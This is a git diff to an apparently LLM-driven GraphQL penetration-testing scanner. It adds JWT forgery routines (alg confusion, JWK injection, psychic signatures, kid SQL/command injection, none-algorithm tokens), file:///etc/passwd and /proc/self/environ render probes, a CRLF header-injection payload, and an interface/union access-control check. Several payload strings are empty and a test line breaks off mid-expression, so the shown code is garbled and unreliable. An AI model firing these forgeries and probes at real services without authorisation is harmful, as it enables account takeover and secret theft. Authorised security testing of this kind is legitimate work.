diff --git a/gradientql/scanner/actions/arsenal.py b/gradientql/scanner/actions/arsenal.py index eb2e723..ecf37cf 100644 --- a/gradientql/scanner/actions/arsenal.py +++ b/gradientql/scanner/actions/arsenal.py @@ -177,14 +177,16 @@ def _forge_weak_secret_dictionary(ctx: ActionContext, claims: dict | None) -> st from ...utils import jwt_attacks base: dict = {} + base_header: dict = {} for tok in ctx.harvested.get("jwt", []): base = jwt_attacks.decode_payload(tok) or base if base: + base_header = jwt_attacks.decode_header(tok) # preserve the real token's typ/cty break if isinstance(claims, dict): base = {**base, **claims} - candidates = jwt_attacks.forged_tokens("jwt_weak_secret", base) + candidates = jwt_attacks.forged_tokens("jwt_weak_secret", base, base_header) if not candidates: return "weak_secret: no candidates minted (internal error)" rejected: list[str] = [] diff --git a/gradientql/scanner/actions/fuzz.py b/gradientql/scanner/actions/fuzz.py index 49af55b..06927d0 100644 --- a/gradientql/scanner/actions/fuzz.py +++ b/gradientql/scanner/actions/fuzz.py @@ -21,6 +21,21 @@ # Classes that reach an outbound server-side fetch, so an OOB callback URL is worth injecting. _OOB_CLASSES = ("ssrf", "render", "crlf") +# A render sink that takes a URL argument must receive the raw OOB URL, not an `") + _CANARY = "FZc4n4ry7q" _MAX_PAYLOADS = 14 _NON_INJECTABLE_SCALARS = {"Int", "Float", "Boolean"} @@ -173,7 +188,7 @@ def handle_fuzz(ctx: ActionContext, args: dict) -> Result: try: url, _label = ctx.oob_sess.issue({"approach": "fuzz", "node": label}) if oob_cls == "render": - payloads.append(("render", f"")) + payloads.append(_render_vector(arg, url)) elif oob_cls == "crlf": payloads.append(("crlf", f"gqlcrlf\r\nLocation: {url}")) else: diff --git a/gradientql/scanner/arsenal_tools.py b/gradientql/scanner/arsenal_tools.py index df6873e..81d30a2 100644 --- a/gradientql/scanner/arsenal_tools.py +++ b/gradientql/scanner/arsenal_tools.py @@ -74,26 +74,28 @@ def tool_forge_jwt(approach: str, secret: str | None, claims: dict | None, """ from ..utils import jwt_attacks base: dict[str, Any] = {} + base_header: dict[str, Any] = {} for tok in harvested.get("jwt", []): base = jwt_attacks.decode_payload(tok) or base if base: + base_header = jwt_attacks.decode_header(tok) # preserve the real token's typ/cty break if isinstance(claims, dict): base = {**base, **claims} a = (approach or "none").lower() if "confus" in a or "rs256" in a or "alg_conf" in a: - return jwt_attacks.forge_alg_confusion(secret or "", base) + return jwt_attacks.forge_alg_confusion(secret or "", base, base_header) if "jwk" in a: - return jwt_attacks.forge_jwk_injection(base) + return jwt_attacks.forge_jwk_injection(base, base_header) if "psychic" in a or "zero" in a or "r=s" in a: - return jwt_attacks.forge_psychic(base) + return jwt_attacks.forge_psychic(base, base_header=base_header) if "kid" in a and ("sql" in a or "inject" in a or "command" in a): - return jwt_attacks.forge_kid_injection(base, "command" if "command" in a else "sqli") + return jwt_attacks.forge_kid_injection(base, "command" if "command" in a else "sqli", base_header) if "weak" in a or "secret" in a: - return jwt_attacks.forge_hs256(secret or "secret", base) + return jwt_attacks.forge_hs256(secret or "secret", base, base_header) if "kid" in a: - return jwt_attacks.forge_kid_traversal(base) - return jwt_attacks.forge_none(base) + return jwt_attacks.forge_kid_traversal(base, base_header) + return jwt_attacks.forge_none(base, base_header) def tool_smuggle(target_url: str) -> tuple[bool, str]: diff --git a/gradientql/scanner/coverage.py b/gradientql/scanner/coverage.py index 6aba387..dcbc4e3 100644 --- a/gradientql/scanner/coverage.py +++ b/gradientql/scanner/coverage.py @@ -60,6 +60,28 @@ def high_value_fields(schema_map: dict[str, Any]) -> set[str]: return {f for info in high_value_targets(schema_map).values() for f in info["fields"]} +def polymorphic_types(schema_map: dict[str, Any]) -> dict[str, list[str]]: + """Map each interface/union type to its concrete member types. + + An inline fragment `... on { field }` on an interface/union-typed field can reach a + field whose authorization is enforced on the concrete type but not the abstract path - a + broken-access-control lead. Reads `_type_kinds`/`_possible_types` (which survive a checkpoint + resume) rather than the `_interfaces`/`_unions` sets (JSON-serialized to lists on resume). + """ + out: dict[str, list[str]] = {} + kinds = schema_map.get("_type_kinds") + if not isinstance(kinds, dict): + return out + for tname, kind in kinds.items(): + if kind not in ("INTERFACE", "UNION"): + continue + node = schema_map.get(tname) + members = node.get("_possible_types") if isinstance(node, dict) else None + if members: + out[str(tname)] = [m for m in members if isinstance(m, str)] + return out + + def bfla_sensitive_fields(schema_map: dict[str, Any]) -> set[str]: return {f for label, info in high_value_targets(schema_map).items() if label in _BFLA_AUTORECORD for f in info["fields"]} diff --git a/gradientql/scanner/payloads.py b/gradientql/scanner/payloads.py index 3cbeb3c..972b4bb 100644 --- a/gradientql/scanner/payloads.py +++ b/gradientql/scanner/payloads.py @@ -42,11 +42,19 @@ # server-side browser. file:// reads local files (auto-confirmed when /etc/passwd content reflects); # the iframe/img/link probes fetch internal/metadata URLs (confirm via the OOB URL fuzz also injects). RENDER_PROBES: list[str] = [ + # direct file:// reads (auto-confirmed when the file's content reflects) "file:///etc/passwd", "file:///c:/windows/win.ini", + "file://localhost/etc/passwd", + "file:///proc/self/environ", + # HTML sub-resource vectors different render engines follow (confirm via reflected content or OOB) "", - "", + "", + "", "", + "", + "", + "", "") + assert _render_vector("template", "http://oob")[0] == "render" + assert _render_vector("bio", "http://oob")[0] == "render" # unknown -> conservative HTML + assert _render_vector("source", "http://oob")[0] == "render" # HTML hint wins over 'src' substring diff --git a/tests/test_scanner_payloads.py b/tests/test_scanner_payloads.py index d3f4be0..9e2961d 100644 --- a/tests/test_scanner_payloads.py +++ b/tests/test_scanner_payloads.py @@ -30,3 +30,13 @@ def test_ssti_hit_confirms_eval_only(): assert payloads.ssti_hit("#{1337*1337}", "you sent #{1337*1337}") is None # unknown/custom payload -> not in the catalog map assert payloads.ssti_hit("{{custom}}", "anything 1787569") is None + + +def test_render_probes_cover_more_engines(): + from gradientql.scanner.payloads import CLASS_PROBES, RENDER_PROBES + assert CLASS_PROBES["render"] is RENDER_PROBES + assert any("file:///etc/passwd" in p for p in RENDER_PROBES) # direct read kept + joined = " ".join(RENDER_PROBES).lower() + for tag in ("= 10 diff --git a/tests/test_scanner_prompt.py b/tests/test_scanner_prompt.py index b91beec..53ea35b 100644 --- a/tests/test_scanner_prompt.py +++ b/tests/test_scanner_prompt.py @@ -168,3 +168,12 @@ def test_forge_jwt_doc_lists_new_approaches(sample_introspection_result): p = prompt.build_prompt(_ctx(sm)) for approach in ("confusion", "jwk", "psychic", "kid_sqli"): assert approach in p + + +def test_build_prompt_surfaces_interface_union_targets(): + sm = {"_query_type": "Query", "_mutation_type": "Mutation", + "Query": {"search": {"args": [], "return_type": "SearchResult", "description": ""}}, + "Mutation": {}, "_type_kinds": {"SearchResult": "UNION"}, + "SearchResult": {"_kind": "UNION", "_possible_types": ["AdminUser", "PublicPost"]}} + p = prompt.build_prompt(_ctx(sm)) + assert "SearchResult -> [" in p and "AdminUser" in p